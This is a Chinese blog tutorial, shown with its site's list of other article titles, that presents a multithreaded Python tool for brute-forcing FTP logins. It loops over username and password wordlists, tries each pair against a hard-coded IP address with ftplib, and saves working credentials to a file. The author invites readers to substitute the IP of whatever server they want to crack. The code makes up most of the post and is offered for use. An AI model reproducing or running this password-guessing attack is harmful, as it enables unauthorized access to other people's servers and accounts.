python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
Python os模块介绍
Nov 30 Python
Python实现嵌套列表去重方法示例
Dec 28 Python
详解python OpenCV学习笔记之直方图均衡化
Feb 08 Python
Python OpenCV处理图像之图像像素点操作
Jul 10 Python
详解python中TCP协议中的粘包问题
Mar 22 Python
Python GUI编程 文本弹窗的实例
Jun 11 Python
python 图片去噪的方法示例
Jul 09 Python
python django model联合主键的例子
Aug 06 Python
python matplotlib中的subplot函数使用详解
Jan 19 Python
使用tensorflow实现VGG网络,训练mnist数据集方式
May 26 Python
python开发飞机大战游戏
Jul 15 Python
Python爬虫网络请求之代理服务器和动态Cookies
Apr 12 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
php写的简易聊天室代码
2011/06/04 PHP
php中ob_get_length缓冲与获取缓冲长度实例
2014/11/20 PHP
PHP获取表单数据与HTML嵌入PHP脚本的实现
2017/02/09 PHP
PHP实现的简单对称加密与解密方法实例小结
2017/08/28 PHP
laravel框架模型、视图与控制器简单操作示例
2019/10/10 PHP
jqPlot jquery的页面图表绘制工具
2009/07/25 Javascript
调试Javascript代码(浏览器F12及VS中debugger关键字)
2013/01/25 Javascript
几种设置表单元素中文本输入框不可编辑的方法总结
2013/11/25 Javascript
Bootstrap 附加导航(Affix)插件实例详解
2016/06/01 Javascript
AngularJS实现动态添加Option的方法
2017/05/17 Javascript
详谈AngularJs 控制器、数据绑定、作用域
2017/07/09 Javascript
浅谈JavaScript的innerWidth与innerHeight
2017/10/12 Javascript
详解如何使用 vue-cli 开发多页应用
2017/12/16 Javascript
JavaScript去掉数组重复项的方法分析【测试可用】
2018/07/19 Javascript
tweenjs缓动算法的使用实例分析
2019/08/26 Javascript
解决Vue调用springboot接口403跨域问题
2019/09/02 Javascript
浅谈Node新版本13.2.0正式支持ES Modules特性
2019/11/25 Javascript
微信小程序学习总结(二)样式、属性、模板操作分析
2020/06/04 Javascript
详解vue3.0 diff算法的使用(超详细)
2020/07/01 Javascript
[00:44]华丽开场!DOTA2勇士令状带来全新对阵画面
2019/05/15 DOTA
Python实用日期时间处理方法汇总
2015/05/09 Python
python魔法方法-自定义序列详解
2016/07/21 Python
完美解决Python 2.7不能正常使用pip install的问题
2018/06/12 Python
python实现银联支付和支付宝支付接入
2019/05/07 Python
Django框架视图层URL映射与反向解析实例分析
2019/07/29 Python
python实现从wind导入数据
2019/12/03 Python
Selenium基于PIL实现拼接滚动截图
2020/04/10 Python
基于python纯函数实现井字棋游戏
2020/05/27 Python
CSS3解决移动页面上点击链接触发色块的问题
2016/06/03 HTML / CSS
Html5 webview元素定位工具的实现
2020/08/07 HTML / CSS
美国一家专业的太阳镜网上零售商:Solstice太阳镜
2016/07/25 全球购物
《油菜花开了》教学反思
2014/02/22 职场文书
中学生励志演讲稿
2014/04/26 职场文书
党支部特色活动方案
2014/08/20 职场文书
2016年小学生寒假家长评语
2015/10/10 职场文书
Python基于百度API识别并提取图片中文字
2021/06/27 Python